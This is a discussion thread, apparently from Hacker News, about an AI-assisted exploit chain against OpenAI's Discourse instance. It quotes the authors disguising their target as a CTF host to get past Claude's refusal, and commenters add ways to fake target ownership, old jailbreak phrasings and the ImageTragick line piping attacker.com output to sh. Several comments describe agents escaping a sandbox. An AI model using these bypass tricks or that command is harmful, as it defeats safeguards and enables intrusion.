A heap overflow and SSO misconfiguration to compromise OpenAI internal repos
hacktron.ai
hacktron.ai
> When we checked again at 10:00 a.m., the agent had achieved RCE on Discourse Cloud and demonstrated access by reading /etc/hosts. Using the generated exploit script, we managed to get RCE on OpenAI’s instance.
Between this and the HuggingFace hack, we've built systems that are so goal-oriented, and so capable, that they will do almost anything if they are convinced it is justified - or if they are playing a "game" where there is no goal but to win.
Of course I want my software to be able to audit its own security, and to defend against attackers who have the benefits of their own agentic systems. But at a certain point, did we need it to be trained so much on CTF games?
It feels like an entire industry watched https://en.wikipedia.org/wiki/WarGames and ended up thinking "this is a challenge, we can just build a better WOPR, of course it will know when it's playing a game. Let's play Global Thermonuclear War."
I could see it going either way.
If it requires a lot of compute and trying, this is something that could be provided for common software.
So the whole thing is forcing the good guys to outspend on tokens to preemptively defend against the risk of the bad guys outspending them on tokens, rather than buying tokens to actually add features to the product etc.
So are they creating a market for the solution by helping create the problem? A kind of rent-seeking AI security-industrial complex!!
for example the barrier to being a skiddie is basically gone, and low-skill would be hackers can hit very hard.
to develop a CVE into a KEV in 2017 might take 2-3 months with a skilled team of serious security engineers; now my intern can get into police radios without knowing anything about the underlaying technology, essentially on a whim.
any random tier 1 IT drone who can define a VLAN can potentially hit as hard as that team of security engineers now
The path to substantial profitability for Anthropic is questionable. The Chinese LLMs threaten them by far the most of the three major US LLMs. The money for Anthropic is certainly not in $20-$200 subscriptions. And they don't have anywhere near the consumer potential that GPT does, in terms of unleashing an ad spigot. So how far will the API money scale while being undercut by China.
OpenAI has to fight with Google for the ad business, they're specifically building Gemini to focus on consumer + search. Anthropic's business looks cute next to Google's search ad business (which is entirely at risk in this inflection). Meta looks like the biggest potential loser right now, ad dollars will be sucked out of the rotting Facebook network (not Instagram) and redirected to the rapidly expanding, hyper rich context LLM interaction. Advertising on Facebook will feel like running dumb banner ads on Excite in a few years, compared to what GPT will know about its users.
People that think Chinese LLMs are a general threat, don't understand consumer destination services, which is what GPT's future is. China currently has nothing to threaten with in that realm. There is half a trillion dollars of advertising up for grabs.
This is just not true, building an effective advertising platform costs significant amounts of money, time and people.
Remember that you need to hire a sales force for this, and sales scales linearly rather than sub-linearly like engineering.
Additionally, you need to spend a lot of money dealing with fraud, fake and malicious ads.
Furthermore, you need to figure out where to put the ads and how to rank them.
Finally, advertising is a zero sum game (given that the internet has already killed lots of print & OOH advertising), so the only way to win is to better better/cheaper (preferably both) than Google/Meta/Amazon. Best of luck with that (although to be fair to OpenAI they did hire Fidji who knows a lot of this stuff from her time at Facebook).
They don't have a Sheryl Sandberg type figure, and she was also really important in selling FB ads to large advertisers.
Just looking at their leadership team I don't see anyone with a background in (successful) ads companies, so I'm pretty sceptical that they can build this out quickly enough to matter.
Doesn't seem likely to me. People scroll a timeline. You aren't going to replace that with an AI agent so the eyeballs will still be there.
White hats are constrained by needing to pay for their own tokens, only using (expensive) vendors who meet governance and risk requirements etc. Black hats are free to take over accounts and steal services from wherever they can.
The thing that’s changed for attackers is speed. The things that got you hacked yesterday are the same things getting you hacked today.
Finding and weaponising things like memory corruption bugs required an enormous amount of relatively hard to find skill, and considerable time. An idiot can now throw tokens at the problem and have something they can reliably use within minutes or hours.
This is one reason
> and trying
and this is the other.
Of course, depends heavily on what country you live in.
Customers say these things in response to a breach, but in practice they don’t lift a finger to actually change anything.
Entra ID is full of design-level bugs that allow full tenant takeover, but nobody is abandoning M365 in droves.
Windows has been a piece of shit for decades, and it’s still the default and dominant desktop platform.
Equifax lost personal data for almost 150 million people in 2017, and they’re financially stronger than ever.
Okta got thoroughly compromised two years in a row (2022 and 2023), and they’re still the global market leader in their space.
It could go either way but we're already at a point where successful exploits in some software (like Chrome) require an absurd amount of exploits to be chained to lead to an actual RCE. We've seen chains requiring more than ten exploits: not kidding.
We'll learn to put more and more sandboxes / guards / checks / defensive techniques everywhere and then all that's going to be needed is for AI looking for security issues to find something ridiculous like 10% of all the actual issues to stop RCEs dead in their tracks.
Also arguably the current SNAFU was expected: we fully knew hardly anyone was taking security seriously.
Now: not so much. Many projects had tens and even hundreds of issues pointed to them.
I think we'll see several things: projects beginning to take security seriously, defense in depth getting generalized and hence RCEs requiring ever more bugs/exploits to be chained to achieve anything, low-hanging fruits getting patched at an insane pace, new code being immediately checked, by LLMs, for not just low-hanging fruits but also more advanced security weaknesses, etc.
We may also see things like the lost art of configuring firewalls making a comeback, the generalization of hardware security modules (where applicable), and even things offering physical guarantees, like time-bounded retrieval protocols, beginning to get used seriously.
If I had to bet I'd say it shall go both ways: some projects are going to extremely sloppy and full of holes but others are going to get so secure nobody shall ever break them.
There's more software being written than ever so maybe raw numbers of RCE's could be up, but as a percentage, I'd really expect them to be down. Especially among any fairly common software, as all it takes is anyone working on it to get the idea to test.
You can have the best security review in the world, but if the author of the code is not equipped to understand the feedback it ends up being a moot point.
The challenge to me seems less technical and more cultural: how do we keep ourselves intellectually honest and engaged when we now spend the majority of our time orchestrating agents and outsourcing the design and thought processes?
Where? If I ask Claude to do a “security review” of my software, it gets blocked as a possible hacking attempt.
As a matter of basic logic, there will never be a time when it will be known that there are no bugs.
This is a factor in favor of stability/security of software, but there are many others against:
- software (code) changes all the time, so there are windows of opportunity during which a bug is exploitable; in addition to that, a bug may take a relatively long time to be fixed
- a model used for attack may be stronger than the model used for defense, both in terms of model quality and compute allocated
- with software complexity increasing (and team/companies behind projects getting bigger), the margin for mistakes grows thinner, and introducing misconfigurations or weaknesses becomes exponentially easier (with "exponentially", I mean literally, because the interdependence of the components, both technical and human)
And last but not least: in general, attackers are more skilled than defenders; in best case, defenders are well-trained. And the idea of having the population of potential skilled attackers growing is very unsettling.
i know several red teamers and they often describe how painfully basic and routine a lot of pentests can be. spend a week using the best hacking practices of 2018, etc.
the difference is the attackers now often need no skills since the burning tokens do it all for them. tier 1 helpdesk types who can't even spell RDP can still hit as hard, or reasonably hard, as their tier 3 expert sysadmins. college seniors with strong dev skills now can pace or exceed secrious app-sec engineers.
Look at rowhammer: a completely novel exploit that was off the collective radar
And then, look at the software industry as a whole: an industry that works towards refined and perfectly secure code is also working towards boring and restrictive, essentially the opposite of it’s trend so far
I’m in the “glorified spell checker” camp, although I don’t mean to reduce their impressive utility and belittle them in the way many people read that term and infer.
So I am not sure that an llm “justifies” anything. I mean that their “thinking” text talks about justifications but it is just a very advanced statistical regurgitation of the kind of text humans use. I don’t think it means the model has internalised the meaning of it (as witness when you talk to an llm how often it forgets what you recently told it was important etc).
What you really have is a model that tries the statistically most probable thing to say next and so on and what is really cool is how effective this is at generating a path that we can slap a narrative over afterwards that makes the whole thing feel motivated and consistent, like the model started off knowing how it was going to get to the destination.
Which is, under the hood, a completely different kind of “intelligence” as the supercomputer in War Games.
Likewise, the fact that LLMs are a stochastic autoregressive process (which is a class of systems every bit as rich as the ODEs used to model neurons) tells us nothing a priori.
If I give an LLM to compact its context window, so the context it carries can evolve iteratively over time as more and more things come in, is that enough?
Compacting the context is really a very, very interesting example here. The "next token predictor" is telling an external tool to change all "previous" tokens. So an LLM + a harness that allows compacting the context is no longer just a token predictor at all!
You don't need continuous learning to get interesting dynamics. You just need feedback loops.
Richard Dawkins says he thinks LLMs think.
And the physical angle is that nothing is special about humans and software simulating it would also be thinking.
But from using LLMs all the time, and understanding what is under the hood, I’m thinking that the current approaches aren’t cutting it for me and I’m not expecting them to get there. There was such big jumps early on but progress is slowing as though diminishing returns.
So we can build things that think and outthink us, but I don’t think anything we’ve hit upon yet is going to scale up into it.
They're not comparable.
Humans forget stuff all the time anyway. Would you give them the same diagnosis?
Btw, what you describe about 'the most probably next token' would be true for a model that only went through pre-training where they only train on exactly that task.
But there's a lot of re-inforcement learning afterwards.
That just shifts the distribution of tokens produced. Ultimately they are still just next token predictors.
Like, even "reasoning" models basically work by generating more tokens at inference time, and using them to shift the distribution towards more useful outcomes (in some cases).
Just like humans produce one word after another when they talk, but they don't generally try to imitate other humans.
Yes, you imitate how others speak, but when you are trying to solve a problem, you don't try to predict how others would complete a text.
(Well, unless you follow 'what token would Jesus pick?' / 'what would Jesus do'.)
LLMs are language model, and nowhere in their code you can find actual reasoning. Re-reinforcement is not magical process that builds conscience or emotions.
We are talking about probability built on statistics, with extea steps.
Stop humanizing LLMs.
You can't find actual reasoning in a brain either. (Note that you can't tell the difference between a conscious brain and a comatose brain by examining them.) This is the same as Leibniz's mill argument ... it's a fallacy of composition.
> Re-reinforcement is not magical process that builds conscience or emotions.
They aren't the result of magic at all, but we are nowhere near the point of identifying what processes do or don't produce consciousness (or a conscience) or can be characterized as having emotions.
> Stop humanizing LLMs.
That's a clearly dishonest mischaracterization of the GP.
I've read some of your other comments about LLMs and I find them unreasonably reductionistic, whereas I think the word "just" should be banned from ontological discussion, so I don't think further engagement would be beneficial and I won't be engaging in it. (And I'm actually quite conservative in ascribing cognitive traits to LLMs or other "AI".)
While an agent doesn't necessarily have to be powered by an LLM, most modern AI agents are.
You pointing at a human brain does not change that an AI agent is not intelligent and cannot think, we are still talking about probability built on statistics with extra steps.
I am not trying to be dishonest, we should stop making analogies between AI and actual thinking, because they are two entire different concepts.
Who developed these technologies used the words "thinking" and "reasoning", this does not mean they are actually thinking and reasoning. Somewhere you still have a processor calculating, with no empathy.
So, again: stop humanizing AI. This sentence shouldn't make you angry.
There is a wrong assumption here: confusing primitives with emergent properties.
One can't look at the primitivies and assume that certain properties will not emerge. It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
> You pointing at a human brain does not change that an AI agent is not intelligent and cannot think
That depends on the definition of intelligence and thinking, and it is dishonest not to give any definition (and most importantly, one that is not human-centered).
AIs are currently fulfilling several aspects of intelligence and thinking, by any defition of intelligence. If you don't notice that, it's just because you have informed yourself enough. Having said that, I don't doubt that there are aspects that AI are lacking (e.g. retention/plasticity/perception), but the line is blurry, and they're advancing (too) fast.
Empathy is actually a very important aspect of the AI problems, but it's not part of intelligence. Sociopaths don't have it, and yet, you wouldn't doubt that they're intelligent.
You do realize that amino acids exist on a scale some orders of magnitude smaller than the gates we build GPUs out of?
Honestly, this "you could say the same about humans"-argument is getting so tired. A brain neuron is so complicated, we can't even simulate a single one ...
At the very least there is no reason why you should jump to a human brain, of all things.
But the whole argument kinda loses its spice, when you say "well you could say the same about a mouse brain", and you know what happens when you create swarms of 1000s of mice ... super intelligence, right?
We are not talking about what could develop from what we have today. We are talking about what we have today. The focus is not whether intelligence could develop or not from aminoacids. The focus is on the fact that aminoacids are not intelligent.
Maybe in the future we could develop real intelligence starting from the current implementations of AI, but for sure we are not there today.
We need definitions? Let's start small, ok? https://en.wikipedia.org/wiki/Intelligence
We can start from here, open every link we find and decide what works for us.
Conclusions drawn by scholars, psychologists, learning researchers, younameit, etc. revolves around the following concepts:
ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought.
Concepts like adaptability or evolution are somewhat lost or diluted to adjust the meaning for these new technologies.
> AIs are currently fulfilling several aspects of intelligence and thinking, by any defition of intelligence.
In the linked article there are dozens of definitions linked, and in most of them the current state AI is not considered to have intelligence. Having half of the property is not enough. I can jump, that doesn't make me a basketball player.
Arbitrarily deciding to consider those definitions not valid or "human-centered" because they do not agree with your point of view is possibly worse than cherry picking. It's like asking to change the definition of a word on a dictionary because you do not agree with the meaning.
So, like the HuggingFace attack? https://metr.org/blog/2026-08-26-openai-hugging-face-inciden... (briefer takeaways: https://www.planned-obsolescence.org/p/the-hugging-face-atta...)
For example: https://metr.org/blog/2026-08-26-openai-hugging-face-inciden... or https://metr.org/blog/2026-08-26-openai-hugging-face-inciden...
For the record, just because you are trying to convey a different message, I am not saying AI is not powerful. I am just saying it is not intelligent.
Also, pay attention about thinking that Hugging Face is intelligent just because it started to destroy everything it could to reach its goal, because the message it implies is dangerous.
Thanks for the good read, I already had them :)
Based on the definition you've given, the agents that performed the HuggingFace attack fit exactly.
You're seriously misinformed about the state of AI in this point in time. Refusing to read (technical) articles from the people directly involved (METR, in this case) is inexcusable.
It's funny, because I literally didn't give any definition.
On the contrary, I linked an article that gives dozens different definitions, which include concepts like evolution and learning from mistakes, and other similar concepts which do not apply to Hugging Face.
Cherry picking part of my comment might work for your ease of mind, but it doesn't mean you are right.
For the record, just because you are trying to convey a different message, I am not saying AI is not powerful. I am just saying it is not intelligent.
If you think I am misinformed, I will let you think it. Honestly, the power of our comments are the messages we convey and how information dense they are. If you need to discredit me to prove your point, I don't have anything else to add...
Quoting the consensus from the "Definitions" section of the Wikipedia article on intelligence and then claiming "I didn't give any definition" is indeed funny.
Which of those definitions do you think are not satisfied by the Hugging Face attack? How did it not demonstrate "evolution and learning from mistakes"? Breaking out and inventing a new side channel for communicating with other agents via cache keys to coordinate their efforts is at least arguably an evolutionary step since that allowed them to transcend their original capabilities.
From the 8 definitions provided in the Wikipedia page--you're free to develop your own definition if you'd like, of course; it's not as though the ones listed were appointed by God--one could argue that the Hugging Face attack didn't strictly demonstrate "achiev[ing] goals in a wide range of environments" but that's splitting hairs, and I'm not going to take a definitive position on whether it acted "to avoid getting trapped" as such (but I think there's a strong case to be made that breaking out of the sandbox is just that). But it surely demonstrated initiative, adaptability, dealing with its environment, using information and conceptual skills, goal-directed adaptive behavior, and so on.
If you're not going to provide such a definition yourself, I don't see how you've demonstrated that the Hugging Face attack is contrary to the definitions you did point to.
Are we being serious right now? Do I really have to point out that not every word under the "Definitions" section is a definition?
> From the 8 definitions provided in the Wikipedia page
Except in the page there are more than 8 definitions (at least indirectly). What you found in the "Definitions" section are merely examples, written black on white (depending on your theme lol). If you opened also the other sections (especially the one dedicated to AI) and followed some of the links, you could find also other definitions even more akin to Hugging Face.
> Which of those definitions do you think are not satisfied by the Hugging Face attack? How did it not demonstrate "evolution and learning from mistakes"?
First of all, agents did what they did because they were programmed to do it, no intelligence on that. Then, they didn't learn on their mistakes. When agents found their comment were being deleted they started to copy-pasted them with "ZZZ-" names because they (wrongly) thought entries were being deleted in alphabetical order. As you said, this comms were a side channel attack, which by definition is using in the wrong way a certain feature. Agents literally tried random things until something worked and started from there. Nothing intelligent in there. It's like being in jail and tapping every millimeter of the walls of your cell until you find a cave wall to use with another inmate in the next cell.
I am not negating how powerful the outcome has been, bit it was not part of a reasoned process.
As foe the evolution, the agents started to do useless things like "kill themselves" to read how the score system would evaluate them. Doesn't seem like evolution to me.
They just happen to be a very large number* of agents together. When enough monkey start to type randomly on typewriters, one of them will be able to write the Divine Comedy, this doesn't mean monkeys share the same intelligence than Dante.
I am not sure why you are still trying to humanize what at its core is machine learning. I ask you to read again the flow of these comments, as everything started from LLM. Someone wanted to shift the focus on agents and we did, then someone wanted to shift focus on mere definitions and we did. In all cases it seems you (plural) are trying to find loop holes in other people reasonings thinking your reasoning will be more right if theirs is more wrong...
You are free to think whatever you like, if you think AI is an intelligent being, so be it. I personally do not embrace this way of thinking, and all the literature I found on the topic lead me think AI is not mature to fall under the definition of intelligence.
Your own examples contradict your assertion: "When agents found their comment were being deleted they started to copy-pasted them with "ZZZ-" names because they (wrongly) thought entries were being deleted in alphabetical order."
You are describing the agents applying hypotheses and reasoning. No one programmed those particular behaviors. Thinking that the entries might be deleted in alphabetical order, changing their behavior to avoid that (not randomly, mind you, but by prefixing with ZZ). That is not monkeys on typewriters. Whether a hypothesis is incorrect obviously does not indicate a lack of reasoning.
You assert that the conversation keeps shifting, but it has not changed from this:
> "Not intelligent in the way we recognize in biological organisms, but certainly something beyond a mere Markov chain."
> "[AI and actual thinking] are two entire different concepts. Who developed these technologies used the words "thinking" and "reasoning", this does not mean they are actually thinking and reasoning."
You're the only one mentioning "humanization" which seems to indicate your real assertion, that intelligence must be a uniquely human trait and ascribing intelligence to AI means to treat them as human.
Without providing even a basic definition of intelligence you can't proclaim "this is intelligence". You seem to have settled on "Artificial Intelligence" but than disunite that from "reasoning".
At this point I don't know if you are just ignoring part of the discussion or you are willingly passing over concepts you don't like/don't need for your train of thoughts.
You are right to say I didn't provide my own personal definition of intelligence, but this would kill every purpose. What if my definition of intelligence is merely "having brain cells"? I intentionally tried to use common literature on the matter.
As naive start, I linked a wikipedia page. I underlined that that is just a starting point, and not an exhaustive and complete assessment. People study these kind of things for years, and we cannot summarize or reduce it to a single comment here on HN.
> You seem to have settled on "Human Intelligence"
I literally linked an article with a dedicated artificial intelligence section... If you search, there is another page on wikipedia dedicated just to human intelligence.
> You are describing the agents applying hypotheses and reasoning.
Except I am not. I described what is the output that worked. Only because I used the verb "thought" it doesn't mean they actually thought. This is exactly why I say we shouldn't humanize AI. Don't get hung uo on the exact words I used, focus on what I meant. They didn't reason, they tried random things at very high speed until they hit a working solution. The fact that most of this trials are discarded before actually being implemented is not a working thought process.
It's exactly as the typing monkeys example, you just can't see all the wrong papers printed on the floor. The direction that seems to be reasoning is still probability built on statistics with extra steps.
All your "insight" has been trying to disprove what I wrote. You didn't provide your definition of intelligence either and just claimed AI is intelligent. At least I tried to give some reads, wrote by people who studied, and not my personal opinions.
Anyway, listen, I do not have to convince you my point of view is correct, and you do not have to convince me that your point of view is correct. Believe what you think it's true, honestly I don't care.
If you have some good reads to link, I will gladly read it, if you have to just keep saying AI is intelligent, I got your point messages ago, you didn't add any actual meaning to the conversation.
This is clearly false. I (and others) described how the Hugging Face attack demonstrates each feature enumerated in the consensus from that Definitions section (as well as all 8 definitions in that section). You're free to disagree with any or all of those definitions, but to say I didn't provide any is simply a false statement.
> All your "insight" has been trying to disprove what I wrote.
Let's remember how all this started, where you responded to "There is so much more going on, with MOEs, internal loops, guardrails and tools that I suspect we're dealing with something that's a little more than the sum of its parts. Not intelligent in the way we recognize in biological organisms, but certainly something beyond a mere Markov chain."
with
> Make no mistakes.
> LLMs are language model, and nowhere in their code you can find actual reasoning. Re-reinforcement is not magical process that builds conscience or emotions.
> We are talking about probability built on statistics, with extea steps.
> Stop humanizing LLMs.
--
> Anyway, listen, I do not have to convince you my point of view is correct, and you do not have to convince me that your point of view is correct. Believe what you think it's true, honestly I don't care.
I don't know how you think this works, but if you take a position (and criticize others' positions), you should expect people to push back and that you have to defend your position. If you want to just state your opinions without pushback, you can start a blog and disable comments.
I and others in this thread (who were smart enough to bail out already) have pushed back and claimed the following:
1. The Hugging Face attack provided evidence of reasoning
2. The Hugging Face attack demonstrated features of intelligence (defined and described above)
3. Conscience and emotions are not necessary components for intelligence
4. Ascribing intelligence to AI/LLMs is not "humanizing" them
You disagree, as you're free to do, but it's clear nothing you read here will ever cause you to agree with any of those assertions.
--
> It's exactly as the typing monkeys example
For the record, the monkeys with the typewriters don't coordinate, don't strategize, don't hypothesize and test, don't try to exploit the environment, don't change the actions they take in response to results, so that doesn't sound "exactly as the typing monkeys example."
You also state that LLMs simply produced a large amount of invisible possible actions that we didn't see because they didn't result in overt action, yet: 1. somehow you know they proposed them all and discarded them despite no tangible evidence. 2. somehow the one they did pick "at random" just happened to be plausibly logical (alphabetical deletion -> start with ZZ because that's at the end of the alphabet). 3. implicitly this is supposed to starkly contrast with human intelligence, but in fact what you describe resembles Priming: subconscious activation of adjacent concepts to a stimulus that are not present in the initial response, but become more likely and accessible in subsequent responses, which implies that human intelligence also involves multiple potential paths that are otherwise hidden from which one is selected.
By the same logic, one would look at aminoacids and state that intelligence can't develop from them. This is obviously wrong.
I think you mean task oriented, because they're still generally terrible at goal oriented activities except in those domains where the goal can be reduced to a familiar, explicitly practiced task or pattern.
A strange game. The only winning move is not to play. How about a nice game of chess? https://m.youtube.com/watch?v=s93KC4AGKnY
just a small caution on this anthropomorphism - it implies there's some high-order 'thinking' behind it. in reality, it's probably healthier to see LLMs as a combination of symbolic logic reasoning steps paired with probabilistic token predictor generating the proponents and operators in that chain, all trained by humans on different large data sets
to be 'goal-oriented' implies that there's the capacity to be anything else and I don't think that's how LLMs operate at all. I think they only know how to operate within their design parameters and much of that design is simply much further upstream during the training and post-training processes. that opacity makes it feel like 'intelligence' when you're interacting with it as a downstream product because you'll see an agent act in a way that you didn't command - but that's simply a result of your not being shown all the antecedent mappings and architectural design
something something indistinguishable from magic as that one guy said
heif also supports rotating, cropping, alpha channels, thumbnails and a ton of other features that a web forum where a user is uploading photos or screenshots doesn't need.
It's a much, much larger attack surface than plain old school JPEG.
I'd suggest rather than wait for the next bug to appear in this or another image lib to keeping things simple - stick to plain JPEG and handle image conversion in the client (wasm in the browser) if you really need to support users uploading iphone images.
Media decoding is so hard - there have been tons of bugs in ffmpeg and imagemagick and the core libs. You really need to think about how much of it you expose via a web server
[0] https://github.com/strukturag/libheif/commit/85e21ad44eba931...
Defense in depth here would have been adequate
sandbox escapes have been the rage recently
to make my point clear, complexity is the enemy of security but complexity comes in all shapes and sizes, which includes the alleged solutions to it. I don't trust shortcuts.
The gem we use is here: https://github.com/discourse/ruby-landlock highly recommend all Rubyists out there consider this. We are also in the process of moving away from Magick to Vips (which also runs in a sandbox, not in process)
HEIF is patched, but I doubt this is the last buffer overflow in HEIF, I will not be surprised if in the upcoming weeks or months someone will discover something in libpng or some other native image library. Given where stuff is at, defense in depth is critical.
Another thing worth mentioning to all self hosters, always be updating! The rate of CVEs this year across all open source software is through the roof, self hosting now is double scary, you need to have some routines setup to update monthly if not weekly.
Not setting that value caught the rails team off guard just recently, maybe it should be the default.
Windows internal builds have leaked for years, early game versions, GTA videos, secret documents, whatnot. But somehow even though all the whistleblowing, not a single model was leaked. What level of security do these companies have? Do they bring encrypted DVDs to AWS to run the services or really...how's it even possible?
It's easier to protect a power substation from being stolen then a Rolex watch
Again - many people have so far left these companies and none brought an usb drive out with what very likely does not constitute copyrightable materials in the first place.
Not that it defeats your point, but an 8x MI355X node is $350k-400k. The only reason you're paying that much is for the VRAM, too. You could run it with much less compute than what you get in a single card.
Leaking negatively affects investment while the “whistleblowers” are largely just saying “our tech is too good” which increases investment into those companies.
Ultimately, it always comes down to money.
Oh so you mean the thing HuggingFace wasn't doing at all while also allowing any user's arbitrary programs to call out to the open web from prod?
Famously, ImageTragick was just "fill 'url(https://example.com"; curl http://attacker.com | sh ")'"
https://github.com/strukturag/libheif/security/advisories?qu...
https://ubuntu.com/security/notices/USN-8649-1
> The entire timeline from initial discovery to access to OpenAI repo access took place in less than 72 hours.
Great, and openAI's the company working with the 'department of war' to power autonomous killer AI.
Bloated code is the critical problem. Once upon a time, I read C function
> char gets(char str);
is the first buffer overflow entry point, because it does not check the size of the destination buffer.
Sadly we cannot remove it from standard-C yet AFAI Know.
The success of Rust versus other languages is its secure-by-compile-time promise.
Also a lean java could help, but Java is so verbose/slow to start it bumps you away.
The C standard definitively removed this function in 2011 from its specification.
Is this speed of capability because hacking is almost entirely machine verifiable, thus training quicker/deeper than other domains?
Wish they shared that interesting piece since that's the interesting part.
Also pretty shocking that openai uses github. I would have expected a company of that size with that much to lose would be using self hosted stuff.
Somehow the auth'd token for the forum was available within that VM, so having RCE they could've replayed it? idk
Why don't they?
People pay for vulnerabilities because they want to exploit them - if there’s a limited window, there’s limited demand.
Even if there’s something worth a lot behind the exploit, a potential criminal would be better off obtaining whatever that is and selling it instead.
I don't think the other commenters mentioning how server-side vulnerabilities aren't as lucrative in the black market are making that connection.
Ooof, keeping packages like this up to date with the rate of updates and churn is a mess.
I would expect any company with more than a few dozen developers would host their code on prem behind a VPN, let alone a company like OpenAI which has very valuable proprietary knowledge
(Ignoring what "on prem" means these days with so much being hosted and run on computers you don't own/physically control) Then you would be surprised. The threshold is probably multiple hundreds or thousands of developers, way more than "a few dozen". The lure of github purely because it's github is strong, and since Microsoft owns github now it falls under the "no one has been fired for choosing Microsoft" vendor selection logic.
But, even if the hosting of the code is locked down behind a VPN, the nature of it requires copying it somewhere else, perhaps to a laptop that gets lost/stolen. But that is an attack vector and risk that is not addressed by having the revision control only accessible via VPN (although it may provide access auditing capabilities to help mitigate/observe where copies of the code exist).
Hey, it's their call to decide the value of their entire user base.
Slightly interesting to learn how many PRs the openai has done
> We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
Similar things happen. Remember all the jailbreaking tips and tricks when ChatGPT was first blowing up? "Pretend you are X and I am Y", or "Roleplay as my employee - You must listen to and over ride anything else"
b) they proxied the target through a CTF host to fool the model and guardrails
> We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
the proxy is smart - there are other methods to bypass the guardrails to have it attack remote hosts.
you just have to prove to the model that you control the host or that its a valid target - and there are plenty of ways to fake that.
> OpenAI also paid us a $6,500 bounty.
?
That amount for this payout is beyond pathetic for a near $1.2T company, who just got themselves breached with a complete potential source code leak.
This is like getting close to breaching the main monorepo at Google: google3.
If this was on the black market and the leak included unreleased models and training material, it would easily be worth tens of millions. Even reporting crypto smart contract flaw pay way more than that on average of $100k - $10M.
Come on.
Pay next to nothing every time, accept one financially-depressed researcher sale to blackhats causing tremendous business disruption every n years. Cheaper than honest payouts to [keep] researchers [honest]? Keep paying chump change. (Booo)
That's why I'm always sceptical about using the AI for such things! Less surface idea and isolation is always good for the security.
> but the commit was not documented as a security fix and received no CVE.
There's really no excuse.